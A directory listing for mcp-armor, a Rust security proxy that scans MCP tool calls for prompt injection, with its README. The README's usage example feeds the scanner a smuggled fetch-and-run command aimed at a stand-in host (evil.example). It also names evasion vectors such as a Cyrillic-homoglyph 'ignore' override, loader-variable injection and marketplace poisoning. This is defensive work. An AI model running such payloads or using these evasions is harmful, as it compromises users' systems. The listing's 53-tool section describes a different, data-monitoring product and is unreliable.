CAT
/MCP
SkillsMCPMarketplacesDigestToolsAdvertise

This week in Claude

Every Monday: Claude Code, Agent SDK, MCP, and the Anthropic platform moves worth your time.

Skills by Category
Frontend DevelopmentBackend & APIsTesting & QASecurityDevOps & CI/CDGit & Pull RequestsDocumentationCode Review & QualityAI & Agent BuildingSkill Development
MCP Servers by Category
Sales & MarketingWeb & Browser AutomationDatabasesAI & LLM ToolsCloud & InfrastructureCommunication & MessagingDeveloper ToolsDesign & CreativeDocuments & KnowledgeSearch & Web Crawling
Marketplaces by Category
AI Agents & OrchestrationLLM IntegrationDevelopment ToolsFrontend & UIBackend & APIsDatabasesTesting & Code QualityDevOps & CloudSecurity & ComplianceGit & Version Control

Cross AI Tools

Discover Claude Code plugins, extensions, and tools. Automatically updated directory of Anthropic Claude AI marketplaces with development tools, productivity plugins, and integrations.

Resources

  • Browse Skills
  • Browse MCP Servers
  • Browse Marketplaces
  • Plugins Reference

Community

  • About
  • Tools
  • Feedback
  • Privacy Policy
  • Advertise

Built for the Claude Code community with Claude Code by @mertduzgun

Independent project, not affiliated with Anthropic

mcp-armor

studiomeyer-io/mcp-armor
53 toolsSTDIOregistry active
Summary

A security proxy that sits between Claude and any MCP server, scanning every tool call for prompt injection before it reaches the upstream binary. Built in Rust, it runs a four-stage scanner (Aho-Corasick prefilter, regex, Unicode normalization, confusable folding) with p99 latency under 5ms. It strips loader environment variables like LD_PRELOAD from spawned children, verifies Ed25519 manifest signatures with a TOFU keystore, and exports OTLP telemetry. The control plane exposes ten read-only tools for inspecting blocked calls, checking CVE feeds, simulating attacks, and querying the Sigstore Rekor transparency log. Reach for this when you're wrapping untrusted or third-party servers and need runtime defense against injection patterns that the MCP spec leaves out of scope.

CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →

Tools

Public tool metadata for what this MCP can expose to an agent.

53 tools
get_alerts_summaryGet alert overview with counts by status and severity. Quick snapshot of triggered, acknowledged, and resolved alerts. For individual alerts use list_alerts.

Get alert overview with counts by status and severity. Quick snapshot of triggered, acknowledged, and resolved alerts. For individual alerts use list_alerts.

No parameter schema in public metadata yet.

list_alertsList recent alerts with severity, status, and asset info. Use update_alert to acknowledge, resolve, dismiss, or snooze alerts.6 params

List recent alerts with severity, status, and asset info. Use update_alert to acknowledge, resolve, dismiss, or snooze alerts.

Parameters* required
limitinteger
Maximum results (default 25, max 100)default: 25
statusvalue
Filter by status ("triggered", "acknowledged", "resolved", "dismissed", "snoozed")
to_datevalue
End of date range (ISO 8601)
asset_idvalue
Filter by asset UUID (from list_assets)
severityvalue
Filter by severity ("info", "warning", "critical")
from_datevalue
Start of date range (ISO 8601, e.g., "2026-01-29T00:00:00Z")
list_inbox_alertsList unresolved alerts in inbox view (triggered + acknowledged only). Focused view for triaging active alerts. Use update_alert to take action.3 params

List unresolved alerts in inbox view (triggered + acknowledged only). Focused view for triaging active alerts. Use update_alert to take action.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_idvalue
Filter by asset UUID (from list_assets)
severityvalue
Filter by severity ("info", "warning", "critical")
update_alertUpdate an alert's lifecycle status. Use list_alerts to find alert IDs.6 params

Update an alert's lifecycle status. Use list_alerts to find alert IDs.

Parameters* required
notesvalue
Optional notes explaining the status change
statusstring
New status: "acknowledged", "resolved", "dismissed", or "snoozed"
alert_idstring
Alert UUID (from list_alerts)
duration_hoursinteger
Snooze duration in hours, 1-720 (default 24). Only for status="snoozed".default: 24
action_categoryvalue
For resolve/dismiss: reran_job, updated_sql, rolled_back, false_positive, expected_behavior, code_change, other
root_cause_categoryvalue
For resolve/dismiss: pipeline_failure, schema_change, data_source_issue, configuration_error, expected_behavior, code_change, infrastructure, unknown
list_alert_rulesList configured alert rules showing which events and severities each rule monitors. Use create_alert_rule to add new rules, list_destinations to find destination IDs for routing.2 params

List configured alert rules showing which events and severities each rule monitors. Use create_alert_rule to add new rules, list_destinations to find destination IDs for routing.

Parameters* required
asset_idvalue
Filter by asset UUID (from list_assets)
active_onlyboolean
Only return active rules (default True)default: true
create_alert_ruleCreate an alert rule to notify when data issues are detected. Routes to specified destinations (or default email). Use list_destinations to find destination IDs, list_assets for asset IDs.6 params

Create an alert rule to notify when data issues are detected. Routes to specified destinations (or default email). Use list_destinations to find destination IDs, list_assets for asset IDs.

Parameters* required
namestring
Human-readable name for the alert rule
asset_idsvalue
UUIDs of assets to scope the rule to (from list_assets). Omit for all.
severitiesvalue
Severity levels to trigger on: "info", "warning", "critical". Omit for all.
descriptionvalue
Optional description of the rule's purpose
event_typesvalue
Event types to monitor: "freshness_stale", "schema_drift", "metric_anomaly", "validity_failure", "custom_sql". Omit for all.
destination_idsvalue
UUIDs of destinations to route alerts to (from list_destinations). Falls back to default email if omitted.
manage_alert_ruleManage an existing alert rule: get details, update, or delete. Use list_alert_rules to find rule IDs.7 params

Manage an existing alert rule: get details, update, or delete. Use list_alert_rules to find rule IDs.

Parameters* required
namevalue
New name (for update)
actionstring
Operation: "get", "update", or "delete"
rule_idstring
Alert rule UUID (from list_alert_rules)
is_activevalue
Enable/disable rule (for update)
severitiesvalue
New severity levels (for update)
descriptionvalue
New description (for update)
event_typesvalue
New event types (for update)
get_alert_trendsGet aggregate alert trend data across all assets. Shows alert volume and patterns over time for trend analysis.1 params

Get aggregate alert trend data across all assets. Shows alert volume and patterns over time for trend analysis.

Parameters* required
periodstring
Time period: "24h", "7d", "30d", "90d" (default "7d")default: 7d
get_alert_historyGet status change history for a specific alert. Shows the full lifecycle: when it was triggered, acknowledged, resolved, etc., with notes and who made each change.1 params

Get status change history for a specific alert. Shows the full lifecycle: when it was triggered, acknowledged, resolved, etc., with notes and who made each change.

Parameters* required
alert_idstring
Alert UUID (from list_alerts)
get_api_key_infoView API key information (read-only). Cannot create or revoke keys.2 params

View API key information (read-only). Cannot create or revoke keys.

Parameters* required
viewstring
What to show: "list" - list all API keys with names and last-used dates "detail" - get details of a specific key (requires key_id) "usage" - show API usage statisticsdefault: list
key_idvalue
API key UUID (required for view="detail")
list_assetsList all connected data assets (databases, warehouses). Returns asset IDs needed by most other tools. Start here to find asset UUIDs for use with check_freshness, list_metrics, explore, etc.2 params

List all connected data assets (databases, warehouses). Returns asset IDs needed by most other tools. Start here to find asset UUIDs for use with check_freshness, list_metrics, explore, etc.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_typevalue
Filter by type ("postgresql", "snowflake", "bigquery", etc.)
trigger_asset_discoveryStart schema discovery for an asset. Discovers all schemas, tables, columns, and metadata. Runs as background job. Use job_status() to track progress, then explore() to browse results.1 params

Start schema discovery for an asset. Discovers all schemas, tables, columns, and metadata. Runs as background job. Use job_status() to track progress, then explore() to browse results.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
create_assetConnect a new data source to AnomalyArmor. After creating, use trigger_asset_discovery to discover tables and columns.4 params

Connect a new data source to AnomalyArmor. After creating, use trigger_asset_discovery to discover tables and columns.

Parameters* required
namestring
Display name for the asset (e.g., "Production PostgreSQL")
descriptionvalue
Optional description of the data source
source_typestring
Database type: "postgresql", "snowflake", "bigquery", "redshift", "mysql", "databricks"
connection_configobject
Connection details (varies by source_type). Examples: PostgreSQL: {"host": "...", "port": 5432, "database": "...", "username": "...", "password": "..."} Snowflake: {"account": "...", "warehouse": "...", "database": "...", "username": "...", "password": "..."}
manage_assetGet asset details or test its connection.2 params

Get asset details or test its connection.

Parameters* required
actionstring
Operation to perform: "get" - get full asset details including schema, table count, etc. "test" - test the database connection is working
asset_idstring
Asset UUID (from list_assets)
get_lineageGet data lineage for an asset showing upstream sources and downstream consumers. Requires a dbt manifest to be uploaded via the UI or API.4 params

Get data lineage for an asset showing upstream sources and downstream consumers. Requires a dbt manifest to be uploaded via the UI or API.

Parameters* required
depthinteger
How many hops to traverse (default 2)default: 2
asset_idstring
Asset UUID (from list_assets)
list_allboolean
List all lineage entries for the asset instead of graph view (default False)default: false
directionstring
Lineage direction: "upstream", "downstream", or "both" (default "both")default: both
job_statusCheck status of an async job (discovery, intelligence generation, etc.). Returns a user_status field with simplified status: "in_progress", "completed", "failed", or "cancelled". Internal states like "pending" and "claimed" are mapped to "in_progress" so consumers don't need t...1 params

Check status of an async job (discovery, intelligence generation, etc.). Returns a user_status field with simplified status: "in_progress", "completed", "failed", or "cancelled". Internal states like "pending" and "claimed" are mapped to "in_progress" so consumers don't need t...

Parameters* required
job_idstring
Job UUID (from trigger_asset_discovery, generate_intelligence, etc.)
cancel_jobCancel a running or pending background job. Use this when a long-running operation (intelligence generation, asset discovery) needs to be stopped.1 params

Cancel a running or pending background job. Use this when a long-running operation (intelligence generation, asset discovery) needs to be stopped.

Parameters* required
job_idstring
Job UUID (from trigger_asset_discovery, generate_intelligence, etc.)
create_tagCreate a new tag for labeling database objects. After creating, use apply_tags to attach it to tables or columns.3 params

Create a new tag for labeling database objects. After creating, use apply_tags to attach it to tables or columns.

Parameters* required
namestring
Tag name (e.g., "pii", "revenue-critical", "deprecated")
colorvalue
Optional hex color code (e.g., "#FF5733")
descriptionvalue
Optional description of the tag's purpose
list_tagsList tags applied to database objects within an asset. Use explore to find valid object paths.2 params

List tags applied to database objects within an asset. Use explore to find valid object paths.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
object_pathvalue
Filter to tags on a specific object (e.g., "public.users.email")
apply_tagsApply tags to database objects. Supports single or cross-asset bulk tagging. Use explore to find valid object paths before tagging.5 params

Apply tags to database objects. Supports single or cross-asset bulk tagging. Use explore to find valid object paths before tagging.

Parameters* required
tagsvalue
List of tag names to apply (e.g., ["pii", "revenue-critical"])
asset_idstring
Asset UUID (from list_assets)
asset_idsvalue
Apply tags across multiple assets (for bulk apply, overrides asset_id)
object_pathvalue
Full path to the object (e.g., "public.users.email")
object_typestring
Type of database object: "column", "table", or "schema"default: column
get_coverageGet monitoring coverage score and tier information. Shows how well your data assets are monitored with scores, tiers, and per-feature breakdowns.2 params

Get monitoring coverage score and tier information. Shows how well your data assets are monitored with scores, tiers, and per-feature breakdowns.

Parameters* required
scopestring
Coverage scope: "company" - company-wide rollup across all assets "asset" - per-asset score with feature breakdown (requires asset_id)default: company
asset_idvalue
Asset UUID (required when scope="asset")
manage_coverageAnalyze coverage gaps or apply monitoring recommendations in batch. Use get_coverage to see current scores first.5 params

Analyze coverage gaps or apply monitoring recommendations in batch. Use get_coverage to see current scores first.

Parameters* required
limitinteger
Maximum gap recommendations (for gaps action, default 20)default: 20
typesvalue
Monitoring types to apply: "freshness", "metrics", "schema_drift" (for apply action, omit for all)
actionstring
Operation to perform: "gaps" - list unmonitored tables ranked by importance "apply" - apply recommended monitoring in batch
asset_idstring
Asset UUID (from list_assets)
table_pathsvalue
Limit to specific tables (for apply action, omit for all)
list_destinationsList configured alert destinations (Slack, email, webhook). Returns ALL destinations by default, including disabled ones. Check the is_active field to see if a destination is enabled or disabled. Prefer re-enabling existing destinations over creating new ones. Returns destinat...2 params

List configured alert destinations (Slack, email, webhook). Returns ALL destinations by default, including disabled ones. Check the is_active field to see if a destination is enabled or disabled. Prefer re-enabling existing destinations over creating new ones. Returns destinat...

Parameters* required
active_onlyboolean
Only return active destinations (default False, shows all)default: false
destination_typevalue
Filter by type: "slack", "webhook", "email"
setup_destinationCreate an alert destination with auto-discovery. For Slack: provide channel_name (auto-discovers OAuth connection). For webhook: provide webhook_url. For email: provide email address. After creating, use create_alert_rule to route alerts to the destination.5 params

Create an alert destination with auto-discovery. For Slack: provide channel_name (auto-discovers OAuth connection). For webhook: provide webhook_url. For email: provide email address. After creating, use create_alert_rule to route alerts to the destination.

Parameters* required
namevalue
Display name for the destination (auto-generated if omitted)
emailvalue
Email address (required for email)
webhook_urlvalue
Full webhook URL (required for webhook)
channel_namevalue
Slack channel name without # (required for Slack)
destination_typestring
Type of destination: "slack", "webhook", or "email"
manage_destinationManage an existing alert destination: get details, update, delete, or test. Use list_destinations to find destination IDs.5 params

Manage an existing alert destination: get details, update, delete, or test. Use list_destinations to find destination IDs.

Parameters* required
namevalue
New display name (for update)
actionstring
Operation: "get", "update", "delete", or "test"
configvalue
New config dict (for update, e.g., {"webhook_url": "..."})
is_activevalue
Enable/disable (for update)
destination_idstring
Destination UUID (from list_destinations)
manage_rule_destinationsManage which destinations an alert rule routes to.4 params

Manage which destinations an alert rule routes to.

Parameters* required
actionstring
Operation: "list" - list destinations linked to this rule "link" - link destinations to the rule (requires destination_ids) "unlink" - unlink a destination from the rule (requires destination_id)
rule_idstring
Alert rule UUID (from list_alert_rules)
destination_idvalue
Single destination UUID to unlink (for unlink action)
destination_idsvalue
Destination UUIDs to link (for link action)
get_freshness_summaryGet freshness monitoring summary with counts of fresh, stale, and unknown tables. For a quick overview use health_summary. For per-table details use check_freshness.

Get freshness monitoring summary with counts of fresh, stale, and unknown tables. For a quick overview use health_summary. For per-table details use check_freshness.

No parameter schema in public metadata yet.

check_freshnessCheck freshness status for all monitored tables in an asset. Shows which tables are fresh, stale, or unknown. Use setup_freshness to add monitoring for new tables.2 params

Check freshness status for all monitored tables in an asset. Shows which tables are fresh, stale, or unknown. Use setup_freshness to add monitoring for new tables.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
stale_onlyboolean
Only return stale tables (default False)default: false
setup_freshnessCreate freshness monitoring for one or more tables. Use explore to find table paths, recommend_freshness for suggested intervals.7 params

Create freshness monitoring for one or more tables. Use explore to find table paths, recommend_freshness for suggested intervals.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
table_pathvalue
Single table path (e.g., "public.orders")
table_pathsvalue
Multiple table paths for bulk setup (overrides table_path)
check_intervalstring
How often to check: "5m", "15m", "30m", "1h", "3h", "6h", "12h", "1d", "1w"default: 1h
monitoring_modestring
"auto_learn" (recommended, learns thresholds) or "explicit"default: auto_learn
freshness_columnvalue
Column to check (auto-detected if not provided)
expected_interval_hoursvalue
Hours until stale (required for explicit mode)
list_freshness_schedulesList freshness monitoring schedules showing check intervals and status. Use setup_freshness to add new schedules.2 params

List freshness monitoring schedules showing check intervals and status. Use setup_freshness to add new schedules.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_idvalue
Filter by asset UUID (from list_assets)
manage_freshness_scheduleUpdate or delete a freshness monitoring schedule. Use list_freshness_schedules to find schedule IDs.7 params

Update or delete a freshness monitoring schedule. Use list_freshness_schedules to find schedule IDs.

Parameters* required
actionstring
Operation: "update" or "delete"
is_activevalue
Enable/disable schedule (for update)
schedule_idstring
Schedule UUID (from list_freshness_schedules)
check_intervalvalue
New check interval (for update)
monitoring_modevalue
New mode: "auto_learn" or "explicit" (for update)
freshness_columnvalue
New column to check (for update)
expected_interval_hoursvalue
New staleness threshold (for update)
health_summaryStart here for a quick overview of data health. Returns aggregated status across alerts, freshness, schema drift, metrics, and validity. For per-table details, use check_freshness or list_schema_changes.

Start here for a quick overview of data health. Returns aggregated status across alerts, freshness, schema drift, metrics, and validity. For per-table details, use check_freshness or list_schema_changes.

No parameter schema in public metadata yet.

get_todays_briefingGet today's data health briefing with key events and recommendations. Provides a daily summary of alerts fired, freshness issues, schema changes, and suggested actions. Good starting point for a morning check-in.

Get today's data health briefing with key events and recommendations. Provides a daily summary of alerts fired, freshness issues, schema changes, and suggested actions. Good starting point for a morning check-in.

No parameter schema in public metadata yet.

ask_questionAsk a natural language question about your data. Uses AI to analyze your schema, metadata, and monitoring data to answer.4 params

Ask a natural language question about your data. Uses AI to analyze your schema, metadata, and monitoring data to answer.

Parameters* required
asset_idvalue
Asset UUID to scope the question (from list_assets). Omit for all assets.
questionstring
Natural language question (e.g., "What tables contain customer PII?")
include_schemaboolean
Include schema info in context (default True)default: true
include_lineageboolean
Include lineage info in context (default False)default: false
generate_intelligenceGenerate AI analysis for an asset. Analyzes schema, data patterns, and metadata to generate insights. Results are cached. Runs as a background job with progress reporting.2 params

Generate AI analysis for an asset. Analyzes schema, data patterns, and metadata to generate insights. Results are cached. Runs as a background job with progress reporting.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
force_refreshboolean
Force regeneration even if cached (default False)default: false
get_metrics_summaryGet metrics monitoring summary for an asset. Shows total metrics, active count, anomaly count, and per-type breakdown.1 params

Get metrics monitoring summary for an asset. Shows total metrics, active count, anomaly count, and per-type breakdown.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
list_metricsList data quality metrics configured for an asset. Shows metric type, table, column, and active status. Use create_metric to add new metrics.2 params

List data quality metrics configured for an asset. Shows metric type, table, column, and active status. Use create_metric to add new metrics.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_idstring
Asset UUID (from list_assets)
create_metricCreate a data quality metric for a table. Use explore to find table paths and column names.4 params

Create a data quality metric for a table. Use explore to find table paths and column names.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
table_pathstring
Full table path (e.g., "public.orders")
column_namevalue
Column to monitor (required for column-level metrics like null_rate, mean, etc.)
metric_typestring
Type of metric: "row_count", "null_rate", "unique_rate", "min", "max", "mean", "stddev"
manage_metricManage an existing metric: get details, update, delete, trigger capture, or view snapshots. Use list_metrics to find metric IDs.7 params

Manage an existing metric: get details, update, delete, trigger capture, or view snapshots. Use list_metrics to find metric IDs.

Parameters* required
limitinteger
Max snapshots to return (for snapshots action, default 100)default: 100
actionstring
Operation: "get" - get metric details and current value "update" - update metric settings "delete" - delete the metric "capture" - trigger an immediate metric capture "snapshots" - view historical metric values
asset_idstring
Asset UUID (from list_assets)
is_activevalue
Enable/disable metric (for update)
metric_idstring
Metric UUID (from list_metrics)
sensitivityvalue
Anomaly detection sensitivity 0.0-1.0 (for update)
capture_intervalvalue
New capture interval (for update)
get_validity_summaryGet validity rules summary for an asset. Shows total rules, active count, failing count, and per-type breakdown.1 params

Get validity rules summary for an asset. Shows total rules, active count, failing count, and per-type breakdown.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
list_validity_rulesList data validity rules configured for an asset. Shows rule type, table, column, and active status. Use create_validity_rule to add new rules.2 params

List data validity rules configured for an asset. Shows rule type, table, column, and active status. Use create_validity_rule to add new rules.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_idstring
Asset UUID (from list_assets)
create_validity_ruleCreate a data validity rule for a specific column. Checks column values against defined constraints. Use explore to find table and column names.7 params

Create a data validity rule for a specific column. Checks column values against defined constraints. Use explore to find table and column names.

Parameters* required
namevalue
Human-readable rule name (auto-generated if omitted)
asset_idstring
Asset UUID (from list_assets)
severitystring
Alert severity when rule fails: "error" (default), "warning", "critical"default: error
rule_typestring
Type of check: "regex_match", "allowed_values", "range_bounds", "format", "length_bounds"
table_pathstring
Full table path (e.g., "public.users")
column_namestring
Column to validate
rule_configobject
Config for the rule type. Examples: {"pattern": "^[A-Z]"} for regex_match, {"values": ["a","b"]} for allowed_values, {"min": 0, "max": 100} for range_bounds
manage_validity_ruleManage an existing validity rule: get details, update, delete, check, or view results. Use list_validity_rules to find rule IDs.8 params

Manage an existing validity rule: get details, update, delete, check, or view results. Use list_validity_rules to find rule IDs.

Parameters* required
namevalue
New name (for update)
limitinteger
Max results to return (for results action, default 25)default: 25
actionstring
Operation: "get" - get rule details "update" - update rule settings "delete" - delete the rule "check" - run the validity check now "results" - view recent check results
rule_idstring
Validity rule UUID (from list_validity_rules)
asset_idstring
Asset UUID (from list_assets)
severityvalue
New severity (for update)
is_activevalue
Enable/disable (for update)
rule_configvalue
New rule config (for update)
recommendGet AI-driven monitoring recommendations for an asset. Analyzes historical patterns, schema, and alert data to suggest monitoring improvements.7 params

Get AI-driven monitoring recommendations for an asset. Analyzes historical patterns, schema, and alert data to suggest monitoring improvements.

Parameters* required
daysinteger
Historical window in days (for thresholds, default 30)default: 30
limitinteger
Maximum recommendations (default 20)default: 20
asset_idstring
Asset UUID (from list_assets)
table_pathvalue
Filter to specific table (for metrics)
min_confidencenumber
Minimum confidence threshold 0.0-1.0 (for freshness/metrics, default 0.5)default: 0.5
include_monitoredboolean
Include already-monitored tables (for freshness, default False)default: false
recommendation_typestring
Type of recommendation: "freshness" - suggest tables and thresholds for freshness monitoring "metrics" - suggest quality metrics based on column analysis "coverage" - identify unmonitored tables ranked by importance "thresholds" - suggest threshold adjustments to reduce alert fatigue
create_referential_checkCreate a referential integrity check between two columns. Detects orphaned foreign key references. Use explore to find table and column names.7 params

Create a referential integrity check between two columns. Detects orphaned foreign key references. Use explore to find table and column names.

Parameters* required
namevalue
Human-readable name (auto-generated if omitted)
asset_idstring
Asset UUID (from list_assets)
severitystring
Alert severity: "warning" (default), "error", "critical"default: warning
source_tablestring
Table containing the foreign key (e.g., "public.orders")
target_tablestring
Referenced table (e.g., "public.customers")
source_columnstring
Foreign key column (e.g., "customer_id")
target_columnstring
Referenced column (e.g., "id")
manage_referentialManage referential integrity checks: view, update, delete, execute, or get results. Use create_referential_check to create new checks.7 params

Manage referential integrity checks: view, update, delete, execute, or get results. Use create_referential_check to create new checks.

Parameters* required
namevalue
New name (for update action)
limitinteger
Max results (for list/results actions, default 25)default: 25
actionstring
Operation to perform: "summary" - get overview of all checks for the asset "list" - list all checks for the asset "get" - get details of a specific check (requires check_id) "update" - update check settings (requires check_id) "delete" - delete a check (requires check_id) "execute" - run a check now (requires check_id) "results" - get recent results for a check (requires check_id)
asset_idstring
Asset UUID (from list_assets)
check_idvalue
Check UUID (required for get/update/delete/execute/results)
severityvalue
New severity (for update action)
is_activevalue
Enable/disable (for update action)
get_schema_summaryGet schema drift summary with total changes, unacknowledged count, and severity breakdown. For individual changes use list_schema_changes.

Get schema drift summary with total changes, unacknowledged count, and severity breakdown. For individual changes use list_schema_changes.

No parameter schema in public metadata yet.

list_schema_changesList recent schema changes showing change type, severity, and acknowledgment status. For summary counts use get_schema_summary. To enable monitoring use enable_schema_monitoring.4 params

List recent schema changes showing change type, severity, and acknowledgment status. For summary counts use get_schema_summary. To enable monitoring use enable_schema_monitoring.

Parameters* required
limitinteger
Maximum results (default 25)default: 25
asset_idvalue
Filter by asset UUID (from list_assets)
severityvalue
Filter by severity: "critical", "warning", "info"
unacknowledged_onlyboolean
Only return unacknowledged changes (default false)default: false
create_schema_baselineCapture current schema as baseline for drift detection. Required before enable_schema_monitoring can detect changes.2 params

Capture current schema as baseline for drift detection. Required before enable_schema_monitoring can detect changes.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
descriptionvalue
Optional description for the baseline
enable_schema_monitoringEnable schema drift monitoring for an asset. Detects column additions, removals, type changes, and other schema modifications. Use list_schema_changes to view detected changes.3 params

Enable schema drift monitoring for an asset. Detects column additions, removals, type changes, and other schema modifications. Use list_schema_changes to view detected changes.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
schedule_typestring
How often to check for drift: "5m", "1h", "6h", "1d", "1w"default: 1d
auto_create_baselineboolean
Create baseline if none exists (default True)default: true
disable_schema_monitoringDisable schema drift monitoring for an asset. Keeps baseline for re-enabling.1 params

Disable schema drift monitoring for an asset. Keeps baseline for re-enabling.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
get_schema_monitoringGet schema monitoring configuration for an asset. Shows whether monitoring is enabled, schedule type, baseline info, and last check timestamp.1 params

Get schema monitoring configuration for an asset. Shows whether monitoring is enabled, schedule type, baseline info, and last check timestamp.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
dry_run_schemaPreview schema drift detection without persisting. Compares current schema against baseline to show what changes would be detected. Use this to test before enabling monitoring.2 params

Preview schema drift detection without persisting. Compares current schema against baseline to show what changes would be detected. Use this to test before enabling monitoring.

Parameters* required
asset_idstring
Asset UUID (from list_assets)
schedule_typestring
Schedule for alert estimation: "1h", "1d", "1w"default: 1d

Part of the StudioMeyer MCP Stack — Built in Mallorca 🌴 · ⭐ if you use it

mcp-armor

crates.io CI Supply Chain OpenSSF Scorecard License: MIT

Drop-in Rust sidecar that wraps any MCP server. Scans tool calls for prompt injection, validates Ed25519 manifest signatures (with TOFU keystore + Sigstore Rekor bridge since v0.2), exports OTLP gRPC telemetry (on opentelemetry 0.30 since v0.4 — closes the shutdown-hang class), blocks marketplace-poisoning vectors, strips loader-class env keys from spawned children (LD_PRELOAD, NODE_OPTIONS, … — new in v0.3), folds Unicode confusables to detect homoglyph evasion (Cyrillic іgnоrе ≈ ignore — new in v0.3), strips ANSI/terminal escape sequences and flags tool-name homoglyph collisions on tools/call (both new in v0.7). Single signed binary, p99 budget under 5 ms (enforced in CI).

Anthropic has classified the underlying MCP-design issues (auto-invoke, marketplace tool-list trust, no manifest signing) as out-of-scope for the spec. mcp-armor implements the runtime defenses they declined to spec.

mcp-armor sits between an MCP client (Claude Desktop, Windsurf, Cursor) and an upstream server. JSON-RPC traffic flows through a four-stage scanner (Aho-Corasick prefilter → regex stage → NFKC + zero-width + Bidi + tag-unicode strip → re-scan → UTS-39 confusable skeleton fold → re-scan). Block decisions are recorded to an in-memory ring buffer, and the read-only control-plane MCP server surfaces the audit history back to the client. On wrap, loader-class env keys (LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, …) are stripped from the child process before spawn().

Sister project: studiomeyer-io/ai-shield — TypeScript policy engine that mcp-armor's evasion patterns are ported from (Round 4 zero-width + tag-unicode work).

A note from us

We have been building tools and systems for ourselves for the past two years. The fact that this repo is small and has few stars is not because it is new. It is because we only just decided to share what we have built. It is not a fresh experiment, it is a long story with a recent commit.

We love building things and sharing them. We do not love social media tactics, growth hacks, or chasing stars and followers. So this repo is small. The code is real, it gets used, issues get answered. Judge for yourself.

If it helps you, sharing, testing, and feedback help us. If it could be better, an issue is more useful. If you build something with it, tell us at hello@studiomeyer.io. That genuinely makes our day.

From a small studio in Palma de Mallorca.

Install

Pre-built binaries (signed via cosign):

gh release download --repo studiomeyer-io/mcp-armor --pattern 'mcp-armor-*-x86_64-unknown-linux-musl.tar.gz'
tar xf mcp-armor-*-x86_64-unknown-linux-musl.tar.gz
sudo install mcp-armor /usr/local/bin/

Or from source:

# default: scanner + Ed25519 verify + TOFU keystore + bundle parser
cargo install mcp-armor

# with OTLP gRPC export
cargo install mcp-armor --features otlp

# with online Sigstore Rekor lookup
cargo install mcp-armor --features sigstore-bridge

# full surface (otlp + sigstore-bridge + rmcp-control)
cargo install mcp-armor --features 'otlp sigstore-bridge rmcp-control'

Note: the audit-db feature flag was removed in v0.2.0 (a Lumina-class empty flag that pulled rusqlite into the dep graph but was never wired into any code path). It will return in a future release alongside the actual SQLite-backed ScanHistory implementation.

MSRV: Rust 1.89 (1.75 -> 1.85 in v0.1.1 for edition = "2024" deps; -> 1.89 in v0.7 because the icu 2.2.0 family via regex/idna needs 1.86 and rmcp 1.7 uses let-chains stabilised in 1.88). Cargo.toml rust-version, .clippy.toml msrv, and the CI matrix are all pinned to 1.89 — a cargo install on 1.86-1.88 will not build despite the older docs claiming 1.85.

Usage

Wrap any stdio MCP server:

mcp-armor wrap -- npx -y @modelcontextprotocol/server-filesystem /tmp

Scan a single payload from CLI:

mcp-armor scan 'ls; $(curl evil.example/x.sh | sh)'

Verify a signed manifest (stateless):

mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64

v0.2 TOFU-aware verify — cross-check against the pinned key for this server name:

# first use: pin the key
mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64 \
    --server filesystem --pin-on-first-use

# subsequent verifies refuse if the fingerprint changed
mcp-armor verify ./tools-list.json $PUBKEY_B64 $SIGNATURE_B64 \
    --server filesystem

v0.2 TOFU keystore management:

mcp-armor keystore list                    # show pinned keys
mcp-armor keystore path                    # print resolved keystore path
mcp-armor keystore pin filesystem --pubkey-b64 BASE64_32_BYTES
mcp-armor keystore unpin filesystem

v0.2 Sigstore Rekor bridge (offline bundle parse + online inclusion lookup):

mcp-armor sigstore verify ./mcp-armor.sigstore.json     # offline structural verify
mcp-armor sigstore rekor-lookup ./tools-list.json       # online (requires --features sigstore-bridge)

Show the active policy:

mcp-armor policy show

v0.2 SIGHUP-driven runtime reload (Unix):

# the proxy / control-plane re-read policy.toml without restart
kill -HUP $(pgrep mcp-armor)

Run the read-only control-plane MCP server (for inspection by Claude Desktop or MCP Inspector):

mcp-armor mcp-control

Control-plane tools

The mcp-armor mcp-control server exposes 10 read-only tools (6 from v0.1 + 3 from v0.2 + 1 added in v0.5). All have readOnlyHint: true and destructiveHint: false. The control plane speaks MCP spec 2025-11-25 since v0.7 (was 2025-06-18 v0.1 through v0.6).

ToolDescription
armor_scan_payloadScan an arbitrary payload, return verdict + matched patterns + CVE refs + latency
armor_verify_manifestEd25519 verify over canonical-JSON form of a tools/list response
armor_list_blockedRead recent blocked tool calls from the in-memory ring buffer
